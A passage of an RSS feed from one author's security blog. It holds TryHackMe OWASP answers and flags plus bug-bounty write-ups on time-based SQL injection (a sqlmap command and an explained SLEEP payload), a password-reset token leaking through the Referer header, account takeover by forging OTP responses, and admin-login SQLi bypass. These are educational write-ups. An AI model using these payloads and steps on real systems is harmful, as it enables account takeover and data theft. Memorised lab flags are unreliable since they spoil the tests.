On the same page, create an alert popup box appear on the page with your document cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VHu60i8O08zfLO_qsccKLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j8vTXY4ksorznAeR8RFv4Q.png" /></figure><p>Ans 4 : W3LL_D0N3_LVL2</p><p>Que 5 : Change “XSS Playground” to “I am a hacker” by adding comment using java script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kENEo6aDaTR0LIMTorOr9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdQ2DSIL9_1xioYIhtjcnA.png" /></figure><p>Ans 5 : websites_can_be_easily_defaced_with_xss</p><h3>TRY HACK ME : OWASP TOP 10 —Insecure deserialisation</h3><p>Que 1 : Who developed the Tomcat application?</p><p>Ans 1 : Apache software foundation</p><p>Que 2 : What type of attack that crashes services can be performed with insecure deserialization?</p><p>Ans 2 : Denial of service</p><p><strong>Insecure deserialisation — objects</strong></p><p>Que 1 :if a dog was sleeping, would this be:</p><p>A) A State<br>B) A Behaviour</p><p>Ans 1 : A behaviour</p><p><strong>Insecure deserialisation — deserialisation</strong></p><p>Que 1 : What is the name of the base-2 formatting that data is sent across a network as?</p><p>Ans 1 : binary</p><p><strong>Insecure deserialisation — cookies</strong></p><p>Que 1 : If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?</p><p>Ans 1 : webapp.com/login</p><p>Que 2 : What is the acronym for the web technology that Secure cookies work over?</p><p>Ans 2 :https</p><p><strong>Insecure deserialisation- cookies practicals</strong></p><p>Que 1 : 1st flag (cookie value)</p><p><a href="https://www.base64decode.org/">https://www.base64decode.org</a> to decode the encoded sessionID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uAcGHvbGVw4PNov8c960og.png" /></figure><p>Ans 1 : THM{good_old_base64_huh}</p><p>Que 2 : 2nd flag (admin dashboard)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*ZCfHXTwkaVK5jRVHFkWPhw.png" /></figure><p>Ans 2 : THM{heres_the_admin_flag}</p><p><strong>Insecure deserialisation- code execution</strong></p><p>Que 1 : flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*D39x7k9BgB8KMLYLhmX_XQ.png" /></figure><p>Ans 1 : 4a69a7ff9fd68</p><h3>TRY HACK ME : OWASP TOP 10 — Components With Known Vulnerabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DwxX5hTDOwq0Swyn.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McZVDvFY98askxtHjfMn-Q.png" /></figure><p>Download this exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d93CIDzif81KkxfDlUtRpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UVrDVVVvH6ywrxDuWxaQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*ppjzqq440KXU3hyC6hxaFA.png" /></figure><p>Ans 1 : 1611</p><h3>TRY HACK ME : OWASP TOP 10 — Insufficient Logging and Monitoring</h3><p>Que 1 : What IP address is the attacker using?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJNxfmXJZCqO_VI_MUSznA.png" /></figure><p>Ans 1 :49.99.13.16</p><p>Que 2 : What kind of attack is being carried out?</p><p>Ans 2 : brute force</p><p>_________________________________________________________________</p><p>I hope you like this walkthrough! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a28fb131f9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Time based SQL Injection]]></title>
            <link>https://dishasutariya22.medium.com/time-based-sql-injection-a9c63752a56e?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9c63752a56e</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[time-based-sql-injection]]></category>
            <category><![CDATA[sqlmap]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[injection]]></category>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Tue, 17 Sep 2024 05:20:14 GMT</pubDate>
            <atom:updated>2024-09-17T05:20:14.595Z</atom:updated>
            <content:encoded><![CDATA[<p>Hellooo wowieee people…</p><p>My name is Disha, and I’m a cybersecurity researcher and bug hunter. In this blog, I’m going to show you how I found time based sql injection in 5 minutes.</p><p>Time-based SQL injection is a type of blind SQL injection attack, where an attacker sends specific SQL queries that force the database to ‘sleep’ or pause for a specified period, thus confirming the vulnerability. This technique is used when the application is configured to suppress error messages but hasn’t sufficiently mitigated the underlying SQL injection vulnerability.</p><p>For detecting and exploiting SQL injections, I used the automation tools <strong>SQLMap and Ghauri </strong>, which simplifies the process.</p><p>Pro tip: always use more than one automation tool for better accuracy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNAXLCanVZazqg8krIgWBQ.png" /></figure><p>sqlmap payload : sqlmap -u <a href="https://xyz.com/viewtrending.php?id=1">https://XYZ.com/viewtrending.php?id=1</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VKbUTRgt3XZut5A_B6DRdw.png" /></figure><p>Using automated tools, we can easily generate payloads. Let’s break down and understand one of them.</p><p>_________________________________________________________________</p><p><strong>Payload: id=20&#39;XOR(if(now()=sysdate(),SLEEP(5),0))XOR’Z</strong></p><ol><li><strong>id=20&#39;</strong>: This part is used to inject the SQL payload. The single quote allowing us to inject custom SQL code.</li><li><strong>XOR</strong>: This is a logical operator in SQL . In this case, it’s used to manipulate the query to avoid direct syntax errors and make the SQL payload valid.</li></ol><p><strong>(if(now()=sysdate(),SLEEP(5),0)</strong>: This is the heart of the payload.</p><p><strong>(now()=sysdate()</strong>: This comparison always returns true because <strong>now() </strong>and <strong>sysdate()</strong> both return the current date and time in most database systems.</p><p><strong>SLEEP(5),0: </strong>If the condition is true, the SLEEP(5) command is executed, which causes the database to pause for 5 seconds. If it’s false (which won’t happen in this case), it would execute 0, meaning no delay.</p><p>The key point here is that <strong>if the page takes 5 seconds to respond</strong>, we know the SQL injection is successful.</p><p><strong>3. XOR’Z </strong>: This is added to complete the query and balance any quotes or syntax that might have been broken by the initial injection. The additional <strong>XOR</strong> helps make the query syntactically correct in some cases, and <strong>‘Z </strong>is just a random string to safely close the query.</p><p>_________________________________________________________________</p><p>Now, insert this payload into Burp Suite. Check the server response time in the Response<strong> </strong>tab. A delayed response confirms the presence of a time-based SQL injection vulnerability. However, the real danger of this vulnerability lies in its potential to extract critical data from the database covertly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ovLxVIofZU37I9Hxh-N0Aw.png" /></figure><p>Taa daa..!!! time based sqli completed !!</p><p><strong>Impact:</strong> In a worst-case scenario, an attacker with the right permissions can use an UPDATE or DELETE command to modify or delete data. For example, if they have learned the name of the database through the time-based SQL injection, they could use the DROP DATABASE command to delete the entire database. This could lead to a catastrophic loss of data. It’s important to note that our objective is to find the existence of the vulnerability so it’s suggested to use the sleep command instead of modifying or deleting which might alter the data for which you do not have permission. This could land you in serious trouble.</p><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9c63752a56e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Password Reset Link Leaked In Refer Header In Request To Third Party Sites]]></title>
            <link>https://dishasutariya22.medium.com/password-reset-link-leaked-in-refer-header-in-request-to-third-party-sites-b7deb7a810fc?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7deb7a810fc</guid>
            <category><![CDATA[third-party-sites]]></category>
            <category><![CDATA[refere-header]]></category>
            <category><![CDATA[password-reset-poisoning]]></category>
            <category><![CDATA[password-reset]]></category>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Fri, 16 Aug 2024 10:00:24 GMT</pubDate>
            <atom:updated>2024-08-16T10:00:24.085Z</atom:updated>
            <content:encoded><![CDATA[<p>Hellooo wowieee people…</p><p>My name is Disha, and I’m a cybersecurity researcher and bug hunter. In this blog, I’m going to show you how I found a password reset link in the referrer header of a request to a third-party site.</p><p>Recently, I came across a significant issue involving the leakage of password reset tokens to third-party sites. This vulnerability, if exploited, could allow malicious users to reset passwords and gain unauthorised access to victim accounts.</p><p>Steps to reproduce :</p><p>step 1 : Go to reset password page and enter you email</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*R_FAGsb0fO1VQPD9uclUKw.png" /></figure><p>step 2 : go to email and click on password reset link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uis9S2Joj9yfqNgKGq-yZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*JQIJ0fv84K5gz3FxhscP_g.png" /></figure><p>step 3 : on password reset page click on social media links given below and capture the request using burp suite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*e89feobfJSGA0pOU4vz5yA.png" /></figure><p>step 4 : you may observe full password reset link is exposed to third party sites</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*pwHpXLNj20c8sVoGeEJ0lg.png" /></figure><p>Taa daa..!! you’ve successfully retrieved forgot password link.</p><p><strong>Impact 1: CSRF Attack</strong><br>With the reset password token in hand, the person controlling the XYZ Facebook page could potentially carry out a Cross-Site Request Forgery (CSRF) attack. They could use the token to reset User A’s password without their knowledge or consent, effectively hijacking their account.</p><p><strong>Impact 2: Account Takeover</strong><br>The person operating the XYZ social media page could also exploit this vulnerability in other ways. For example, if they have enabled page analytics, they might see where users are coming from when they visit their page. Through these analytics, they could identify that a user has come from a password reset page and gain access to the reset link and token. With this information, they could reset the password and take over the victim’s account.</p><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7deb7a810fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account takeover of any user through password reset functionality]]></title>
            <link>https://dishasutariya22.medium.com/account-takeover-of-any-user-through-password-reset-functionality-e86a8229b4ef?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/e86a8229b4ef</guid>
            <category><![CDATA[password-reset]]></category>
            <category><![CDATA[otp-bypass]]></category>
            <category><![CDATA[user-data]]></category>
            <category><![CDATA[forgot-password]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Fri, 16 Aug 2024 03:38:35 GMT</pubDate>
            <atom:updated>2024-08-16T03:38:35.088Z</atom:updated>
            <content:encoded><![CDATA[<p>Hellooo wowieee people…</p><p>My name is Disha, and I’m a cybersecurity researcher and bug hunter. In this blog, I’m going to show you how I used the forgot password field to take over an account.</p><p>One day, while working on a website, I decided to test for a “No Rate Limit” vulnerability in the forgot password field. As expected, the feature sent an OTP to my email. Intrigued, I attempted to bypass the OTP, and to my surprise, it worked. Next, I was prompted to set a new password. That’s when an idea struck me: I intercepted the request and replaced my email address with the victim’s email address before submitting the new password. The email change was successful, and the password was updated. I then logged into the victim’s account using the newly set password, demonstrating a critical security flaw in the system.</p><p><strong>step to reproduce :</strong></p><p><strong>step 1 : Access the Forgot Password Feature and click on the submit button.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*L6Jcwaz8vF_4eR7c8lebZQ.png" /></figure><p><strong>step 2 : After submitting the request, the OTP will arrive in your email. However, instead of using the OTP, you’ll try to bypass it. Intercept this request using Burp Suite.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*Q0OpIiCTfOxvKpUWOJgY5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mgyXmfRCCU6estHA2a6LHw.png" /></figure><p><strong>step 3 : Modify the intercepted response by changing the status from </strong><strong>false to </strong><strong>true, the message from </strong><strong>invalid OTP to </strong><strong>valid OTP, and the HTTP status code from </strong><strong>400 Bad Request to </strong><strong>200 OK.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*j28rq7CIz69ehfoybVZvaw.png" /></figure><p><strong>step 4 : Enter the new password and confirm it. Intercept the request using Burp Suite, and modify the email address field to the victim’s email address before forwarding the request. Modify the response by changing the status from </strong><strong>false to </strong><strong>trueand the HTTP status code from </strong><strong>400 Bad Request to </strong><strong>200 OK.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*o7n8xoAJNPezAG5IXmShhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*_jGEyJk-qK6WYg3arScBSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*JLrKKIt04ypOWM8Yqav4iw.png" /></figure><p><strong>step 5 : Log in to the account using the victim’s email address and the new password you’ve set.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*4LEx-VWV-cjCDDjbgW4D7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*kakVd8Xby2VBQhozEVjPhg.png" /></figure><p>Taa daa !! You’ve successfully gained access to the victim’s account.</p><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e86a8229b4ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i bypass admin login in just 5 min.]]></title>
            <link>https://dishasutariya22.medium.com/how-i-accessed-admin-panel-in-just-5-min-463e96c4f7e3?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/463e96c4f7e3</guid>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Sat, 10 Aug 2024 09:35:22 GMT</pubDate>
            <atom:updated>2024-09-20T03:30:59.018Z</atom:updated>
            <content:encoded><![CDATA[<p>Hellooo wowieee people…</p><p>My name is Disha, and I’m a cybersecurity researcher and bug hunter. In this blog, I will show you how to access an admin panel and retrieve user data with the use of simple sql payload.</p><p>step 1 : Use Dirb or another automated tool to locate the admin login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y5-3vtdOtheM7XxEqq-xsQ.jpeg" /></figure><p><strong>Step 2</strong>: Enter any username and password, then click the submit button. Capture this request in Burp Suite and send it to Burp Intruder. Apply an SQL injection payload to the username field and analyse the response lengths to see if the payload successfully bypasses the login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sZSoaLVRjFZAAY6FABDbyQ.jpeg" /></figure><p>step 3. Taa daaa! You’ve successfully retrieved the user data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZVg58GCawtpeUlsDLGdvw.jpeg" /></figure><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=463e96c4f7e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HSTS (http strict transport security)]]></title>
            <link>https://dishasutariya22.medium.com/hsts-http-strict-transport-security-fd192b3a949c?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd192b3a949c</guid>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Sat, 10 Aug 2024 09:01:40 GMT</pubDate>
            <atom:updated>2024-08-10T09:43:42.112Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>HTTP Strict Transport Security (HSTS)</strong> is a web security policy mechanism that helps to protect websites against <strong>man-in-the-middle attacks </strong>such as <strong>protocol downgrade</strong> attacks and <strong>cookie hijacking.</strong></p><p>It allows web servers to declare that web browsers should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol.</p><p>This ensures that all communications between a user’s browser and the website are encrypted and secure.</p><p><strong>HTTP strict transport security header mainly uses two specific directives:</strong></p><ul><li>max-age: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.</li><li>includeSubDomains: to indicate that all related sub-domains must use HTTPS.</li></ul><p><strong>There are three different ways to check if a website is enforcing strict transport security:</strong></p><p><strong>1.Capture the specific request in Burp Suite</strong>: Intercept the POST request and inspect the response headers. If the response includes the Strict-Transport-Security (HSTS) header, it indicates that the SSL/TLS certificate is installed, and the domain cannot be accessed via HTTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GxIRvEdskli0-cc4i2uo-w.png" /></figure><p><strong>2. Use the curl command : </strong>Linux curl command is used to download or upload data to a server via supported protocols such as HTTP, FTP, IMAP, SFTP, TFTP, IMAP, POP3, SCP, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7NdTn5jkIVJhD8WEpIlz-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxvF66mP3v3Z4Oz2vhx6cA.png" /></figure><p><strong>3. Use Automated tool :</strong> <a href="https://www.ssllabs.com/ssltest">https://www.ssllabs.com/ssltest</a> , <a href="https://hstspreload.org/">https://hstspreload.org/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*VfAF-yeQnNMrGHByqpcvLw.png" /></figure><p>“Taa daa…!! You now have all the knowledge about HSTS !!</p><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><p>REFERENCE : <a href="https://youtu.be/zEV3HOuM_Vw?si=ydM4_PV-LRXobqua">https://youtu.be/zEV3HOuM_Vw?si=ydM4_PV-LRXobqua</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd192b3a949c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NO RATE LIMIT IN JUST 5 MINUTES]]></title>
            <link>https://dishasutariya22.medium.com/no-rate-limit-in-just-5-minutes-4888aef91fda?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/4888aef91fda</guid>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Thu, 08 Aug 2024 05:20:06 GMT</pubDate>
            <atom:updated>2024-08-10T09:11:57.109Z</atom:updated>
            <content:encoded><![CDATA[<p>Hellooo wowieee people…</p><p>My name is Disha, and I’m a cybersecurity researcher and bug hunter. In this blog, I’m going to show you how to exploit a no rate limit vulnerability on the forgot password parameter.</p><p>Firstly, what is a no rate limit on the forgot password ?</p><p>A “no rate limit” vulnerability for the forgot password feature means that an attacker can repeatedly submit password reset requests without any restrictions, potentially allowing them to launch a denial-of-service (DoS) attack.</p><p>I was testing a shopping app that has a login field with a forgot password button. I captured this request in Burp Suite and used the forgot password request multiple times with Intruder and Sequencer.</p><p>POC</p><p>When testing the forgot password feature of a shopping app, I noticed that the forgot password field, as shown below, lacks rate limiting, allowing multiple password reset requests to be sent without any restriction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-Vk7V7H67G7pRTg-" /></figure><p>So I captured this request and sent more than 50 requests. We can use either Sequencer or Intruder. Don’t worry, I’ll give you an idea about both. First, capture this request and forward it to Burp Sequencer, then start live capture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2-w8iQD4g71q61XP" /></figure><p>Another way is to capture the forgot password request and send it to Burp Intruder. Configure the payload settings as shown below and start the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/0*TJzCLqpm9MMK85sX" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pl_1SdgEOuTuH7vT" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AA7ZoYx9e04SQwzc" /></figure><p>Taa Daaa !!!</p><p>You got multiple requests in your mail .</p><p><strong>Mitigation Strategies:</strong></p><ol><li><strong>Implement Rate Limiting:</strong> Apply rate limiting to the forgot password feature to restrict the number of requests that can be made within a specified time period. For example, allow only three password reset requests per hour.</li><li><strong>Use CAPTCHA:</strong> Incorporate CAPTCHA to prevent automated bots from abusing the forgot password feature.</li><li><strong>Monitor and Alert:</strong> Set up monitoring and alerting for unusual activity patterns, such as multiple password reset requests from a single IP address.</li><li><strong>Account Lockout:</strong> Temporarily lock accounts after a certain number of failed reset attempts to prevent brute-force attacks.</li></ol><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4888aef91fda" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>